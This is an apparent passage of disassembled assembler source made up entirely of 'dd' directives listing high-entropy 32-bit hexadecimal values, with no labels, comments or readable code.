		dd 656B00EFh, 116CFBF9h, 0AE07B674h, 4A9FC310h,	851E3381h
		dd 0CF4900FFh, 0B4A9CE21h, 0D48DCBBh, 47B3ACFh,	7DE4C8ADh
		dd 78F257C0h, 0FA76340Bh, 2F042811h, 10E6B133h,	0B013E354h
		dd 0AEDA3Bh, 84F93EACh,	73EDDB61h, 59312F75h, 5D1288Eh
		dd 0B510B212h, 86D89C8h, 4621444Ah, 44E8AD44h, 5844193Ch
		dd 6A1B44ABh, 1FD3F088h, 80E4F2B8h, 0BD8D5052h,	0AF00E268h
		dd 0B32E04D0h, 0EA9011E9h, 0A17900C3h, 0EB163459h, 0F3A06C7Eh
		dd 30038109h, 0BDD531D8h, 67620011h, 0E279EA5Eh, 33007778h
		dd 0E8C551EBh, 3475749h, 0E12A874Eh, 5FB032FEh,	8E00FF50h
		dd 7CA964B6h, 6597652h,	3168FADh, 6500F885h, 0F179F90Eh
		dd 0EE2A6Bh, 0C59FF243h, 6F867498h, 5F0C6600h, 0A9DD88D4h
		dd 0F5161F87h, 0EACD4CE9h, 3B00C228h, 4AC80A95h, 2937F9h
		dd 719250Bh, 0A21741E7h, 5F9ECC05h, 0D841B259h,	63D34FE9h
		dd 71EA6C8h, 32BA8D7Ch,	0B247306Bh, 1F002673h, 0EE780BD9h
		dd 4BE9B7h, 814FF8D3h, 2D885849h, 4C03AFEEh, 18F2BD65h
		dd 5799D8C1h, 1F197479h, 5FEA5C26h, 8BAB4090h, 6B2E8695h
		dd 0D18A6E00h, 0FD0B1F8Ch, 5E7F39FFh, 0C8A2AC00h, 0C52FE2AAh
		dd 8A429000h, 0E7F84B04h, 0CEB0C0F2h, 223C18F4h, 80D9363Ch
		dd 0A6B0CCE3h, 1F55F7BAh, 403A9349h, 0A854B187h, 0CAE4DED8h
		dd 66488905h, 0CC017006h, 9684342Bh, 882230h, 9BF7B524h
		dd 0F640FC7Fh, 268B410Eh, 60E9AF48h, 472EC3C4h,	0BB5C006Ch
		dd 17A64B15h, 1D7A9CABh, 549EE003h, 0DD74BEB5h,	20EFC002h
		dd 0C09DC3DCh, 1D89924Ch, 404F865Fh, 32C48410h,	0C179C665h
		dd 0B8E8CC00h, 0F9483501h, 0B3200022h, 25648CA3h, 6B007888h
		dd 7F93C6FDh, 1CF728E6h, 5405D65Bh, 320084FBh, 0C2F11DDDh
		dd 0E4FA332Dh, 20CD8F07h, 14B01BF2h, 0E2F3648Eh, 0DA900071h
		dd 0EF9BAF83h, 0EA00B0D5h, 4B5FA8FCh, 0FE600B9Eh, 0F6800026h
		dd 0A2F1BC2Ah, 2905B5F4h, 0DF2BDB27h, 38F0B51Eh, 24010B19h
		dd 421898F7h, 0C48BB76h, 9EE0E470h, 0F82BE528h,	0F0295003h
		dd 0B8FA1836h, 0A8E1C7B4h, 86F312E0h, 0DB8B6600h, 43A4E252h
		dd 0ABBA053Eh, 0E9804Eh, 0DEDB8D4h, 52005C20h, 0CB1370AFh
		dd 0FA152B97h, 0A46C4C3Eh, 7FCC738h, 0C048E7A1h, 0E4051Fh
		dd 8B958FC0h, 4F001961h, 27F38780h, 0F64EBEB4h,	9E63031Eh
		dd 2062B794h, 0C1F8C000h, 5C913569h, 1D47F2D5h,	0C7E8CDB3h
		dd 705D0D08h, 65B802D1h, 6882B500h, 0AC921B0Eh,	0F11C00DFh
		dd 0E526B07Dh, 0E4008DD3h, 27CEAE11h, 23D9ED6h,	39B384F3h
		dd 1440142Ch, 6D000BA8h, 2AB5AD5h, 3030CAC9h, 9DC95F26h
		dd 0D90051EEh, 7DF939B7h, 1624CE63h, 3F65487h, 14F78DB9h
		dd 809390FFh, 0BB008860h, 0F02155CCh, 3FDEE413h, 0D680661Eh
		dd 0A94CDC6h, 0BD00AF3Dh, 0D437F621h, 0B2DB9Fh,	5C5C49Ch
		dd 2FC84D1Ch, 0E12B1000h, 273D9926h, 14AF247h, 1CE919EDh
		dd 201E585Eh, 243B1634h, 0B6EF0023h, 0B00C9AFEh, 0A0715029h
		dd 4FC9015h, 26EA9F57h,	0E8E48001h, 0A630CD1Ah,	343111F6h
		dd 68960020h, 0D09FEFFFh, 30036D8Ch, 7385A39h, 268DC00Eh
		dd 80F252h, 1FD223AAh, 4005BE5Fh, 8A673E00h, 75E79553h
		dd 0D007002Bh, 0F5D43271h, 453C860Ah, 0CE4D80ADh, 0B4E683D9h
		dd 67B1065Bh, 400418C1h, 60240879h, 1A0039EBh, 972D6A4Fh
		dd 0BC1D3DC3h, 5BFEBE00h, 605617BFh, 0AC01E3F0h, 38E6C22h
		dd 8AF4D2DDh, 6FE600F2h, 0DF0D4E21h, 5D00EEC3h,	15301C94h
		dd 4C043D6Ch, 7700F48Eh, 2D871722h, 9E00F13Bh, 88083465h
		dd 1D6FD4A2h, 789DFE9h,	775E18C5h, 0FCF530BAh, 50E44A46h
		dd 8E95BC00h, 227D373Ch, 0F607008Fh, 0B6B1E49Fh, 0FA013111h
		dd 0D098F272h, 26FC5B8Ah, 0B459020Ch, 64A4D196h, 0B76C882h
		dd 0F3975CC0h, 0C8C07498h, 6422DE16h, 1F240030h, 655573BDh
		dd 535C40DCh, 18E50054h, 0EF978D4Dh, 0E96E009Ch, 0B1A684D8h
		dd 0C83CFC0Ch, 39A21DB2h, 460AAE40h, 121102ACh,	0E06EC4h
		dd 32E1661Ah, 3D0FD9E7h, 0A08F9D4Ch, 5333AF46h,	96E026EAh
		dd 6C7400B6h, 3816BFC7h, 8161AB3Ch, 9BDB3B7Bh, 0E0CB5FA2h
		dd 2C7E9101h, 5E6E118h,	0C03730F4h, 0A3DE50BDh,	77008C92h
		dd 0A590B05Ah, 16BE57h,	3BA06DA7h, 34EB1928h, 8A10EC30h
		dd 10F7395h, 0EA9A5267h, 34A2478Bh, 0DB3D4940h,	0A35180C0h
		dd 10581359h, 0B1C40097h, 0D4F4A192h, 0F107EE82h, 0AC29BF6Eh
		dd 8749AEB3h, 0E83A07D2h, 0DB0174h, 0D6FBB255h,	994F5437h
		dd 6DD95800h, 0F53AB415h, 84C402A4h, 5D2A217Eh,	4E39B8C8h
		dd 0FD259900h, 528DA329h, 0A70E2EC2h, 88741427h, 0A4B5A007h
		dd 0B4FD70C6h, 8300F599h, 48AEA25Eh, 85C4C3h, 0F4779130h
		dd 4E59B875h, 53C1A700h, 0BEEE1DB9h, 6801005Dh,	5AE181F1h
		dd 0F70F891Fh, 0E0C5160Ah, 837152F2h, 28F0BBh, 304D0E20h
		dd 5F445BA1h, 46781100h, 5ED04A52h, 30FF7888h, 4DF17B7Ah
		dd 0E49AF6F7h, 5BBBE400h, 34A06914h, 77FF3CEEh,	0E3325680h
		dd 859ED3B2h, 0B9988000h, 656F2319h, 42BF141Fh,	0D73CE034h
		dd 212A1080h, 63A9E77h,	0E0FF0D1Eh, 0EF4B3980h,	1D73044h
		dd 0E61375F8h, 0F0BA3209h, 0BC008B2Ah, 649F33DAh, 27AE03Bh
		dd 0F3770371h, 6C60BFB8h, 0BE336951h, 854AE8EDh, 636E2480h
		dd 4E65091Dh, 13607E60h, 1A079450h, 212B9BF1h, 4B18E0Ch
		dd 0A052E22h, 7DB4800Eh, 351FFFEBh, 60402C40h, 7893EAA3h
		dd 0BCAC0F65h, 967511h,	0E2AD8718h, 2FF0F0E4h, 0D0170500h
		dd 541AE77Fh, 6E86E849h, 0C1705116h, 0AC9D10B9h, 0A982E9C1h
		dd 3599FEDFh, 0F13C1840h, 8078D93Bh, 48395D65h,	0C068C029h
		dd 0FD94E548h, 4A0002AEh, 0D5327F7Ah, 48C24F47h, 5A1BA044h
		dd 49FF28F4h, 9A69F083h, 7A4D1E88h, 6476B900h, 8233BB15h
		dd 0B35C00C0h, 609A430h, 2A00EA3Ch, 0B85D4FDh, 7ABD3711h
		dd 7DED00C3h, 3249672Fh, 3500654Bh, 1116B68Eh, 9D56BCh
		dd 47A2AFC1h, 3FD59E3Eh, 7F993Dh, 0DD420674h, 3A915F4h
		dd 95442C4Dh, 89D8C966h, 0C70A815Ah, 204788CEh,	36E94A03h
		dd 0D9F08FE6h, 2290ED5h, 0BC9038D7h, 0B0E02660h, 0C4046F6Ah
		dd 0F84D46BFh, 0F95E1DC3h, 5C897384h, 45001AB0h, 1DDC3683h
		dd 0FBA6B800h, 3C157B26h, 25F209D1h, 0A5019FF7h, 0E80C8D81h
		dd 6607FE60h, 0DE8C9B8h, 471F3900h, 45120065h, 0E13E759Ah
		dd 0A40751D8h, 1A28D905h, 0A99C5693h, 0EC31A70Ah, 0B8A13AE8h
		dd 0E416007Ch, 0FF71DB35h, 0C204F8A9h, 0AC108DE8h, 83F4B5C0h
		dd 40AD1F2Fh, 2E5DC090h
		dd 3DDB9634h, 45060B07h, 42506ED7h, 7589859Dh, 51C1171Ah
		dd 0A6280BB7h, 50A17807h, 0EA47B67Ah, 5A072507h, 88701DE5h
		dd 0DEC8A7h, 0AE917EC2h, 60987375h, 20ED4207h, 14203FB8h
		dd 0E6CA4BDBh, 0AD631D5Dh, 23D980F1h, 0B77DF6C0h, 3B81953h
		dd 707F5141h, 0DC99044h, 0E09FEE8Dh, 974007E8h,	20C2D7FEh
		dd 0D91EC5A7h, 6CA6AC04h, 14C090A0h, 15ECFEAh, 34F54674h
		dd 6335BAFFh, 6120058h,	374F0FC9h, 9EE00043h, 0F6E3BD59h
		dd 14B86241h, 98FDB900h, 225870Dh, 0C82C2678h, 4CFF8040h
		dd 727528D4h, 0E8D11600h, 0F2B562B2h, 12CF00A6h, 0BA63D60Dh
		dd 706193Bh, 1BAC49E4h,	9DA54828h, 9434007Eh, 52DE2A6Bh
		dd 11096D9Ch, 400592ABh, 3A8E0738h, 0BB98F365h,	6AC6380Eh
		dd 2384C21Ch, 0AE961030h, 884773E4h, 0DF007AABh, 35EF578Ch
		dd 102DBFh, 5822D3D6h, 9ED232ECh, 43B65C00h, 0A35AA07Ah
		dd 7DFF0B19h, 807F7CD8h, 4C5DA62Ah, 0B8FD3942h,	0F575EE09h
		dd 0D5C2B081h, 3DD2E82Dh, 0F4A6C300h, 8230DD1Fh, 0E4FE006Bh
		dd 383759Eh, 0EA4E2001h, 40A56C40h, 0D08CFAh, 1AAEDB6Fh
		dd 83362A70h, 0D1DA8603h, 8A44A2F1h, 80F0513Eh,	84F9BD38h
		dd 0D00E1CD8h, 0C03377B7h, 0B57551E9h, 0BA3E0005h, 0E253F0A0h
		dd 16E63FA4h, 18F5A500h, 678813ACh, 853605DFh, 9014DDB6h
		dd 0A969F0E0h, 842877B0h, 5302F463h, 3FDCA5CFh,	570D008Fh
		dd 4B005D10h, 0A42E5019h, 5C026481h, 20005CE9h,	0BD1B0DDh
		dd 0B513BAC6h, 4B73h, 7F7EC89Eh, 0CE2200A1h, 0B4EAC792h
		dd 409E522Ch, 66058A00h, 4F49011h, 0CAB37F45h, 0A0DC80D8h
		dd 4E718FCFh, 97F66A00h, 0C7915D88h, 18340226h,	6B924BCDh
		dd 68038CC0h, 677AAD17h, 846FF600h, 0EC243C5h, 0D0DAE72Bh
		dd 80A35544h, 0B96A18F8h, 60804Ch, 0ACB1A165h, 60C445E6h
		dd 0EB79209Ch, 493AFD53h, 0D3B4A461h, 67E9FC00h, 77B8814Fh
		dd 269512F4h, 3E700B5Bh, 0C02B3C85h, 0B28AF565h, 0E908D905h
		dd 0CD001C79h, 5EA1BC85h, 6CF449F9h, 0A9F9502h,	9A42713Dh
		dd 510E14C0h, 3C6EF260h, 0B89C6B7Ch, 0E178127Fh, 0FDB4C029h
		dd 1008DD19h, 0E8BA04h,	0E05EADF9h, 0F400D09Dh,	144F2D20h
		dd 1210E4DCh, 2489C65h,	43DD8510h, 0D73B6CC0h, 0C40088E2h
		dd 2CD2E818h, 88F87h, 77E549A8h, 0B81B05EEh, 0E86D9230h
		dd 4E37BEF7h, 0A91C2063h, 0E803CC50h, 6DCBDB4Eh, 13B2C077h
		dd 0E47F5DA6h, 0B6F21400h, 0C6D88335h, 342B3E05h, 6C80F7C2h
		dd 4CAFFDh, 6A79BF6h, 7C18A9D4h, 0ECCB261Dh, 4A5F9241h
		dd 1ECC1435h, 72E5007Dh, 0DFF2980h, 477D32E0h, 25D9E200h
		dd 9561C83Dh, 78BF00B9h, 8BD5EA5Eh, 0CCF4455Ch,	96989054h
		dd 3C910C01h, 0DEACC131h, 7A7C6F0h, 20F38CF4h, 23B052C0h
		dd 3F8A1C40h, 4A305DEAh, 0B115F810h, 0B3630371h, 880D0B4Dh
		dd 224672D8h, 97319300h, 661829BFh, 0B0AA0B33h,	0B8827AF6h
		dd 2D24CA9Ah, 9E6D0890h, 0C07200A5h, 89D64ECh, 5A1DA883h
		dd 4D0047A6h, 2F393D1Ch, 0ED3F03A0h, 5C7E9FB2h,	1FE80D83h
		dd 2224D7E6h, 78128543h, 609514C7h, 50DD7880h, 85F631h
		dd 0FCB8A2ABh, 0B6EE676Ah, 0C02AC40Eh, 0BB5880D4h, 0E45FE315h
		dd 27020097h, 0CBD0F312h, 4D1367E8h, 38208D50h,	0F6B104B6h
		dd 84DA00F2h, 3A4E55B0h, 8700BCD6h, 417F1312h, 6ACB1Fh
		dd 0B4CC0547h, 0A8DD4F31h, 804C1D3Bh, 0F8D1189Ch, 3F3968AFh
		dd 0A196BE5Dh, 0F2130035h, 0D130B20Ch, 984A1E00h, 0FE84A4FFh
		dd 0C80500E6h, 0AAAE59D0h, 6B1438EAh, 877EFDh, 6121F2C5h
		dd 77ACEE9Ch, 0C6160091h, 1EBB3B72h, 0B60FCBDAh, 809EB259h
		dd 96129C44h, 35060099h, 3667A1F3h, 0B50F13ECh,	0CB68D924h
		dd 7D5D8050h, 1AB02EBh,	1628E0A4h, 0F820391Ch, 35003C08h
		dd 82D9B111h, 0D07677h,	2A4A7B06h, 0A9ECE46h, 55689A07h
		dd 78202704h, 458B3Dh, 8CC08832h, 10F17FC8h, 1C1F3C7Fh
		dd 8180BD0Bh, 0F1734E7h, 82A900AAh, 0C84AAB4Ch,	3500A41Dh
		dd 9730AD09h, 1F7FC3BEh, 0C0B63A52h, 8D7D90EAh,	74001194h
		dd 0E8F6DF4h, 0AE22736h, 0DF12AA83h, 0E82884h, 3E850BC2h
		dd 0BF9DA464h, 0D7630E14h, 540A60D8h, 0B7428Ch,	457C4C72h
		dd 2B918E7h, 55A22A00h,	917D82C7h, 5B580090h, 17EE2BCFh
		dd 0D81E1410h, 8A464DD5h, 1588E65h, 0B94E0902h,	81D2990Ch
		dd 91565F60h, 70895E9Eh, 0A8005412h, 14FD7403h,	18132932h
		dd 25030F04h, 1079216Ah, 0CF0B1FF0h, 0B844A4h, 0E7874EB0h
		dd 1CDE00E0h, 78DBE2CEh, 0D2008CEDh, 4E4B93F3h,	0FEE5BEB0h
		dd 400560AFh, 5D430323h, 0EE40B350h, 2FD2A300h,	2A1B02A6h
		dd 370B6h, 9CD84D30h, 0D75F9A58h, 4B2EF31Dh, 0BABE60C0h
		dd 7CF5A6AEh, 55E0B2h, 0A04588B7h, 0B84AA54Ch, 63C78B07h
		dd 80AE1022h, 0B7925990h, 0E5E10067h, 37A7F3F1h, 0F201DDE4h
		dd 70A513F4h, 83D0FC71h, 0AB4600DCh, 0A153BB32h, 6000759Bh
		dd 85DBAD1Bh, 1A2EF07h,	0FD9EAA1Eh, 418ABBC0h, 0E84FD19Fh
		dd 33071381h, 0B0170BDAh, 6DA96AD0h, 0C2200067h, 0EF9140D3h
		dd 313890F2h, 8EDB80CDh, 6EACA0F4h, 0DEC00A9h, 0CE590722h
		dd 2C0EF0FFh, 0C0E96DDEh, 0F391972Fh, 0F8DFE8E2h, 0DC4B0012h
		dd 0AF396BE3h, 76005671h, 77C7878Dh, 1E31159Dh,	42FD1664h
		dd 0F242D52Dh, 7ED7F8A5h, 47910904h, 0ED0C2357h, 5C9DF83Fh
		dd 13353954h, 5C2D181h,	60B48ADDh, 39EE2AEFh, 3EC3A73Eh
		dd 6E0C0F37h, 892083BBh, 0BDAFB92Dh, 0B1D5981h,	0B88C6F45h
		dd 6041C850h, 52668B51h, 0A009250h, 0A71620B7h,	0E11FE8h
		dd 0D964918Dh, 0FE00A085h, 889968BAh, 3189587Ah, 9FB9D5CCh
		dd 91418C59h, 0F6BED1D1h, 197D60B5h, 62CBA60Eh,	526A1B02h
		dd 989932D9h, 80669770h, 0EE006DAFh, 86B6ABD9h,	0DD535BF3h
		dd 0D5C17EE8h, 67E0D31Eh, 0C40F5C4Bh, 0D853659Bh, 2B5A8369h
		dd 4CD940h, 0AA3058F3h,	57099DBAh, 219135D0h, 0B59AF88Ch
		dd 491D2040h, 3C5230E4h, 651F31A9h, 3F38D563h, 0B25950E1h
		dd 0F849FD3Ah, 0CAF040Fh, 1061B891h, 0A33D24FFh, 0EE3F1454h
		dd 2E5E9402h, 0DC856E87h, 259CC391h, 0A99C2811h, 74082C21h
		dd 0CBF28860h, 48D83784h, 112B111Ch, 0CE216FEEh, 9024F208h
		dd 96D48414h, 8D80DA48h, 6F270356h, 431E00B0h, 1FDB9573h
		dd 21009946h, 817D387Eh, 2D685Eh, 0E1C85FC0h, 0C2AABAA0h
		dd 8F868700h, 61016908h, 5CAF006Dh, 411772F8h, 0F100CEE7h
		dd 99E11E93h, 1EC0A54Fh, 98D9DE11h, 0D3953068h,	0DAD1C200h
		dd 3FB2919Fh, 0F5110066h, 945AB1E3h, 2900F823h,	60BF6E24h
		dd 8982A7h, 5F070A49h, 51E7B239h, 4126CF0Fh, 803A3D90h
		dd 0A797B153h, 5357B71h, 0A02E157Ah, 72D0C0F6h,	0A9985B1Ah
		dd 5A7EB400h, 12D3A36Bh, 0B570EFD0h, 54E25Dh, 0F7502207h
		dd 0E6DDC721h, 0ECC6152Ah, 79C96203h, 0B0F4F65Bh, 517B8Dh
		dd 56D4BE92h, 0E8EB3FE0h, 89005EE2h, 0CB64501Fh, 9C7DD7h
		dd 2D056B4Dh, 0DF162177h, 0AC683961h, 19E8B555h, 3F7A0002h
		dd 0B64DDBE4h, 0EC7B9E17h, 9F008899h, 58B54710h, 0EA3F00DAh
		dd 0FED3C516h, 0A400193Eh, 4777F02Fh, 0FCAB61A3h, 1387E7Bh
		dd 4A5C90DBh, 0C5C5CD8Dh, 4D8BD4D1h, 0D4F34101h, 81E948A8h
		dd 727EC740h, 0BD8407F4h, 0D012E39Fh, 0B664526h, 0D2E60706h
		dd 1889BBh, 99781E83h
		dd 17B3949Fh, 5A4610FDh, 8C6900CFh, 0CCE5F50Eh,	7102990Ah
		dd 0BF6F0159h, 0CF8C804Bh, 1E3BD68Bh, 80E270E4h, 0BE40696Ch
		dd 4F16B9BFh, 90007CCDh, 876886C8h, 9C03075Dh, 0F033B1AEh
		dd 463776E4h, 81558D00h, 8EE8028Fh, 385E009Ah, 86C7A120h
		dd 4A00BA0Ch, 2FEBF9FFh, 0FCD532h, 0A17A237h, 7FDD0764h
		dd 0B978D600h, 19857341h, 0F850F6AEh, 0B83E04FDh, 0C0B42BD2h
		dd 41D55BACh, 37A44D07h, 5334B158h, 6F1C9D80h, 0F29F00EDh
		dd 23D6CD50h, 0D5000F8Ch, 0DBEFAD83h, 3C0A962h,	0C69F4417h
		dd 7087A176h, 0AEE2B2ECh, 5C1A3101h, 12695D2Eh,	0E7E80FCh
		dd 0B7B42605h, 47291EC0h, 4900279Dh, 72A2A348h,	91C604A5h
		dd 6AE20738h, 0DCB830F7h, 5324FD68h, 0F3002417h, 0CF3412EDh
		dd 507700B4h, 722B060Ah, 8C04EAEFh, 409E3B02h, 55E23080h
		dd 2DBC30C0h, 1E239011h, 3B12A310h, 0D3D63A00h,	52460185h
		dd 0F8FADE76h, 1809974Bh, 83D810AFh, 5291014Ch,	0BD4A69CCh
		dd 0ED18D8C6h, 7DE04500h, 101B355Ah, 797DE1h, 0A775C564h
		dd 7F180ABCh, 0AC989A01h, 6B1E5A82h, 7631F5F4h,	0E73312F2h
		dd 701400F8h, 0CFAABEFBh, 92006E9Ch, 908CD5Dh, 852A0049h
		dd 1A16DFEDh, 5E00A6E9h, 9E7FE7DAh, 8F186Dh, 0BB801FFCh
		dd 0FFEE10BCh, 19315D7Dh, 59BA1996h, 3F3369F0h,	1D0377EFh
		dd 0DA3A423Eh, 0A73A8C0h, 51652Fh, 627533E1h, 0BC9258F3h
		dd 4255D500h, 0A71FD8F7h, 1714D306h, 0ACB881h, 0AF4D8FCBh
		dd 513D6F2Bh, 9D79D500h, 125235B3h, 36BE0094h, 0F1C7A13h
		dd 71E45F30h, 0B248D00h, 9BB01DA5h, 581200C7h, 34F2EDACh
		dd 8F71D5E9h, 52788402h, 61421147h, 0D880AD88h,	0E5EE2FDCh
		dd 6E0112E4h, 0C9AB3D62h, 2EF8AF08h, 4A37001Bh,	0DE0ABDFAh
		dd 8B0090A8h, 84A1F794h, 0B3603Ch, 65BF93E9h, 49F3F986h
		dd 0F2A0CA19h, 20F8EB60h, 61AA2FCBh, 0F00C5F6h,	16480571h
		dd 0D5B3E29h, 274128E0h, 0D200F45Eh, 0D3CF785Ah, 76088h
		dd 0AF5850B9h, 80967ECDh, 3B911000h, 85D87A1Fh,	0C72E19A2h
		dd 0E366103Eh, 13D8D183h, 8F30CA91h, 173D3423h,	0DD9A053Bh
		dd 80CC1442h, 6138C839h, 0F7C56500h, 5CB1977Eh,	44BA002Ah
		dd 221A2FA1h, 5EFE3F0Ch, 5251E200h, 203DFA9Eh, 0A61F001Dh
		dd 456C8123h, 0FFE2C237h, 0D27DBE00h, 0CEE45516h, 213B00EDh
		dd 22549D61h, 0BD38CDFBh, 50BC58h, 68F82F6Bh, 24B86019h
		dd 0F3639BCh, 9460B7BFh, 425A9E6Ah, 3FB18E00h, 0B3A3AFD5h
		dd 0C5B200B9h, 0E5D29C89h, 33D0759h, 80E1BFE3h,	0E6C03634h
		dd 3AFB50h, 0D5C450Bh, 74C9EB40h, 3E210601h, 738E64ECh
		dd 0E431620h, 36021258h, 63BCAAA0h, 4D02776Eh, 4995F793h
		dd 0D8BDC01Fh, 0A3FA00E1h, 0DC4E6C0Eh, 43016EC4h, 38827D83h
		dd 66F8025Fh, 64B0A2h, 0E8BA8781h, 0ABBE59Dh, 0D8C5B900h
		dd 7D9BD9DAh, 0FBF61F7Ah, 0B015DE96h, 383F2E44h, 0F149A601h
		dd 44854A95h, 1E923C0h,	0A11635B4h, 0ECECD1BFh,	6E759229h
		dd 452C5BB8h, 300D7EAh,	659F69E6h, 990700C1h, 74644384h
		dd 600B626h, 8CDCA273h,	0FC92B0CAh, 0A71C00C2h,	58841FBh
		dd 8F904BC1h, 0F0D81E18h, 1F60CC0h, 2CC20D3h, 804878AAh
		dd 84FE1420h, 8867EB5Ch, 0D70174BAh, 287BA935h,	96601C18h
		dd 811200F7h, 147197F4h, 9300068Eh, 378902BBh, 821077h
		dd 485847Dh, 1A46A1B2h,	800BD639h, 94ADFBAAh, 843AB6h
		dd 0BD42072Dh, 5130B4A0h, 0E062500h, 0A6CD9FC8h, 5CD51892h
		dd 9A3891FFh, 0BA7FDF00h, 80821A02h, 537201E7h,	0F7E314EAh
		dd 4063C5F6h, 8BFC84D4h, 40870D1Eh, 0CA1FC500h,	0F6507FFEh
		dd 0B068D452h, 644C4400h, 8AA8291Bh, 0C5CC8C0Fh, 99001360h
		dd 1135656Ah, 82E500B9h, 93FA5F55h, 3D00C84Ch, 3E0161EDh
		dd 3F69E2Fh, 0C2DE2725h, 35E0D2C0h, 0AD004489h,	46889022h
		dd 9EC33h, 0D08B42E8h, 0E6ED5D0Bh, 6C21DC00h, 0E329B5CAh
		dd 53BE3024h, 693172B8h, 57937500h, 71B70E73h, 0D82A00D7h
		dd 0FA28B58Dh, 0C80715A9h, 0EAAB0A8Ah, 7F8BA6D0h, 0C5774Dh
		dd 0CCDF73AAh, 80FA96A8h, 553AC212h, 8F99304Eh,	98AE6062h
		dd 0EA59Ah, 3F39CE46h, 0AA4C025Ah, 3B3CF8C0h, 39E75C59h
		dd 0A41F0E65h, 10B540D1h, 84D92B45h, 8503403Bh,	0F7636DC2h
		dd 0D24756C0h, 0A486010Bh, 8AA52DF1h, 7A90808Dh, 0DAC73FAEh
		dd 0E05F0089h, 47EA439h, 64003E02h, 585D6626h, 518CABFh
		dd 0D97DEE4Dh, 80E0C51Ch, 68093460h, 611FD27Ch,	9FDF0F14h
		dd 4BA459C0h, 847EEBh, 0D96DB96Fh, 0F8DBF326h, 576A1409h
		dd 653C20FCh, 70CD6F30h, 2F6D0141h, 0E1336B0Dh,	11A02473h
		dd 0BB445100h, 0F4EEE0A0h, 606100E8h, 3B593CB1h, 9900CF19h
		dd 644A7E7Dh, 1E325BEBh, 0F0E65E2Dh, 360C6892h,	0A4F40402h
		dd 60494C20h, 1E5001CAh, 246B553Ch, 0C17D1C3Ch,	8D5224D6h
		dd 0C12910C5h, 9D3E00D0h, 6853EB8Eh, 8260B15Fh,	0DB707380h
		dd 879B00DCh, 0B9E11DFBh, 790620C8h, 89B7A3ADh,	4A2A0111h
		dd 0D2FA7152h, 0BC3020B2h, 5C394300h, 2C4FE5E9h, 8DB035Bh
		dd 97A4448Ah, 0C9C1608Fh, 3101C7F4h, 400F3817h,	0E840D6C2h
		dd 3DEA630Eh, 47924E24h, 3D0400ADh, 485CEB98h, 57DD70C0h
		dd 0E1989D0h, 0BFC9A51Ch, 0BDDFE940h, 4E01F868h, 0B98D370Dh
		dd 0E4D02255h, 0EA5A00E5h, 0FD1C1473h, 34038EF3h, 1F6556F5h
		dd 162688A0h, 0E969EAC9h, 180E9F20h, 1CA2F775h,	60007A4Ah
		dd 15761CE2h, 2AB6BAAh,	4069588Eh, 5D4003E8h, 0BC1C4847h
		dd 0CEC114E2h, 497E973Fh, 18526ECh, 548A8E58h, 6B1B782Ch
		dd 776B8CB0h, 6C6F07D9h, 0B1B82F20h, 0EC39C98Eh, 0CE00018Ch
		dd 3BB9727Ch, 0B8843E47h, 0C1F40EF5h, 5E80714Ah, 0B6B15A6Ch
		dd 0D63D4300h, 0A94B8B6Fh, 63750718h, 0D0F27834h, 3C5412D4h
		dd 0A78DBA00h, 1A33683Fh, 0BF04001Eh, 0FD9336C3h, 0F4E74998h
		dd 140010AAh, 6D7F2D7Eh, 55A7E3h, 0B923ADD7h, 54750D5h
		dd 0CA12F800h, 905AF14Dh, 172248DCh, 8F5DE40Ch,	60000722h
		dd 0FF5FD542h, 90222415h, 38E5162Fh, 0D1A9004Ch, 0BC3E8D1Fh
		dd 5F7C0E00h, 0F1AA3D64h, 24087E9Fh, 905C6E5h, 0F38E36DFh
		dd 90A04300h, 0B83D6C82h, 0F037800Dh, 4C639D1Dh, 73D40039h
		dd 5D9BB797h, 0EB03E267h, 9E772054h, 3865C0FEh,	493F1C8Ah
		dd 3B1280ECh, 151C98A6h, 0FC00C2FEh, 57877496h,	0BCDCC0h
		dd 91A5AD02h, 0F8AB1FCFh, 0ACD92800h, 4DEA854Fh, 0ED4B00FEh
		dd 81D30763h, 0E300AAC1h, 9BCEE1FDh, 122A3E7Fh,	5D2CF60h
		dd 881C835Ch, 7A000198h, 6D2702C3h, 14F15AEh, 0DF47663h
		dd 0C4FA38E4h, 7E0020CFh, 80912D86h, 74066E8h, 50DE0BD4h
		dd 9C4AA0C2h, 0A5001F42h, 79CF351Bh, 717CAA8Fh,	3E97565h
		dd 0FA954556h, 0C0819451h, 0CC68ECA7h, 2638B24Dh, 89825C0Eh
		dd 4148EDF7h, 31E4D82Ah, 55D500E3h, 160A68C2h, 0A101DB8Ch
		dd 697E27A5h, 0E0FC71B6h, 734B0B26h, 70019528h,	70EA43C0h
		dd 0E67D6623h, 0FEB4D22Eh, 0F68D1804h, 4DFFD080h, 0A2203AA1h
		dd 0A89D7800h, 0B1947752h, 373ABF00h, 8FF5EC79h, 626000A1h
		dd 3032B6AAh, 0C400F8CFh, 9EE7C182h, 100AE2h, 0A0F30425h
		dd 864214C7h, 3E08ACA0h, 0CCEF9907h, 0C9F0D558h, 50F27Fh
		dd 360963E2h, 91288780h, 0DD11D000h, 0FDAB7090h, 0CA100071h
		dd 0F02DAC34h, 2401B756h
		dd 40180217h, 806AFE22h, 0EFFBEAAh, 0A470AD03h,	0EA298593h
		dd 1BD0606Ch, 2B070081h, 4BD46030h, 0EE003842h,	0FF7FC566h
		dd 5FBA249h, 6F3337E2h,	4C0A8191h, 0D79C30C4h, 0B5AE0C00h
		dd 5F48E1Dh, 0E2FE00BCh, 4BD3CA4Dh, 0EF00733Bh,	31DA3458h
		dd 7FD846h, 0E5FAD9BDh,	733A09B4h, 78A35400h, 7C033995h
		dd 0CD61FDD6h, 4740EC00h, 6DFF0044h, 681D9FCh, 3B00F0A7h
		dd 891E69ACh, 3127452h,	0D1316FFFh, 3798B31Ah, 8407A727h
		dd 0FBED4E90h, 45761F61h, 333EF8h, 0D26E7F89h, 0A54792CAh
		dd 5570A00h, 0FD594353h, 958703Dh, 65084215h, 312F4180h
		dd 2A3BBF9Eh, 724C0179h, 92D88DA4h, 0F0FFD9D4h,	513600C7h
		dd 0B4EC10B9h, 247C44D2h, 0F312DF2Eh, 0CE994F02h, 2248C047h
		dd 0A53E00E1h, 411D0743h, 631E2367h, 46C7885Bh,	0E02FAA59h
		dd 7BBA7AF8h, 951A3F1Bh, 0B53DBC8Fh, 0CF23E320h, 460EDB9Ch
		dd 6732D0EAh, 810F4FDCh, 0FD559489h, 16EF5070h,	4397D25Dh
		dd 8529F3BCh, 0AC722680h, 3F543315h, 78A900A8h,	1B24732Fh
		dd 0A0BAEEh, 0D59A3EDh,	0A9D4867Fh, 0BA837900h,	0F81DA733h
		dd 0E7B60173h, 9E36AEBDh, 96D064D9h, 0D65338h, 5C2E9BECh
